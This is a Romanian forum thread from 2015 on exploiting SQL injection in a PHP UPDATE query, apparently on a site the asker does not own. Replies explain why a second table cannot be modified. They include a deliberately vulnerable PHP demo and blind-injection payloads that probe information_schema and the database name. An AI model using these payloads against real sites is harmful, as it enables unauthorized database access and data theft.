danielh Posted July 15, 2015 Report Posted July 15, 2015 Bine v-am g?sit, nu ?tiu dac? este categoria potrivit?, dar na am zis s? încerc.Deci are cineva un site ?i într-un script are urm?toarea liniemysql_query("UPDATE tabel SET da=da+1 WHERE link='".$link."'");Unve variabila $link este$link = $_GET["link"];Cum a? putea folosi variabila aceasta ($link) pentru SQL injection ca s? actualizez o înregistrare dintr-un alt tabel ? Quote
Active Members dancezar Posted July 15, 2015 Active Members Report Posted July 15, 2015 Simplu nu poti:)Pentru ca injectia este dupa where, cea ce vrei tu se poate realiza daca injectia este intre SET si WHERE , ce poti sa faci este sa extragi date . Quote
Moubikx Posted July 16, 2015 Report Posted July 16, 2015 (edited) @danyweb09 are perfecta dreptate.Injectia de mai sus se bazeaza pe ce se intampla intre SET si WHERE.Query-ul tau pur si simplu updateaza da=da+1 unde link=$linkDaca aveai ceva de genul:mysql_query("UPDATE tabel SET da=$altaVariabila WHERE link='".$link."'"); atunci puteai executa query-ul de injectie pe variabila $altaVariabila si rezultatele le gaseai unde acea variabile era afisata.Sa-ti dau un exemplu mai detaliat:mysql> describe records;+-------+--------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+----------------+| value | varchar(255) | YES | | NULL | || id | int(11) | NO | PRI | NULL | auto_increment |+-------+--------------+------+-----+---------+----------------+2 rows in set (0.00 sec)mysql> select * from records;+-------+----+| value | id |+-------+----+| Activ | 1 |+-------+----+1 row in set (0.00 sec)mysql> Dupa cum poti vedea avem un tabel numit records, cu coloanele value si id.Value va fi in acest caz $link, iar id va fi simpla coloana din WHERE.Codul PHP:<?php$db = new PDO('mysql:host=127.0.0.1;dbname=test;', 'root', '');$link = @$_GET['link'];$query = $db->prepare("SELECT value FROM records");$query ->execute();$row = $query->fetchAll();echo "Valoarea actuala este: <b>".$row[0][0]."</b> injecteaza daca vrei sa schimbi valoarea.<br>";if(isset($link)){ $queryUpdate = $db->prepare("UPDATE records SET value='".$link."' WHERE id=1"); $queryUpdate ->execute(); $getOutQuery = $db->prepare("SELECT value FROM records"); $getOutQuery ->execute(); $getOutRow = $getOutQuery->fetchAll(); echo "Valorea finala este: <b><font color='red'>".$getOutRow[0][0]."</font></b>";}else{ "Nici o injectie, datele raman stabile.";}?>Dupa ce am facut injectia: localhost/a.php?link=InactivValoarea actuala este: Inactiv injecteaza daca vrei sa schimbi valoarea.Valorea finala este: Inactivmysql> select * from records;+---------+----+| value | id |+---------+----+| Inactiv | 1 |+---------+----+1 row in set (0.00 sec)mysql> Sper ca ai inteles cum sta treaba cu injectia din cazul tau. (E 6 dimineata...) Edited July 16, 2015 by Moubikx Quote
danielh Posted July 31, 2015 Author Report Posted July 31, 2015 Deci nu exist? nici o posibilitate ? Quote
BitMap Posted July 31, 2015 Report Posted July 31, 2015 Nu, pentru ca exista si in SQL anumite reguli de care trebuie sa tii cont.Poate ai fi tentat sa crezi ca poti rula 2 query-uri de insert ( presupunand ca ai aflat intr-o oarecare masura structura bazei de date ), dar aici te limiteaza functia din PHP.mysql_query() sends a unique query (multiple queries are not supported) to the currently active database ...PHP: mysql_query - ManualCe ai putea sa faci, cum spunea si dany, e sa extragi informatii, blind, urmarind efectul update-ului ( daca si ai access la el ).Ex:-- update daca exista un tabel 'users' in baza de date curentaupdate table set da = da + 1 where link = '$link' and (select count(table_name) from information_schema.tables where table_schema = database() and table_name = 'users')-- update daca numele bazei de date curente incepe cu litera 'a'update table set da = da + 1 where link = '$link' and if((substring(database(), 1, 1) = 'a'), 1, 0)-- ... Quote
danielh Posted July 31, 2015 Author Report Posted July 31, 2015 Am ?i baza de date la mine în pc ?i toate fi?ierele siteului, o s? m? mai uit prin script s? mai g?sesc vreo gaur?. Quote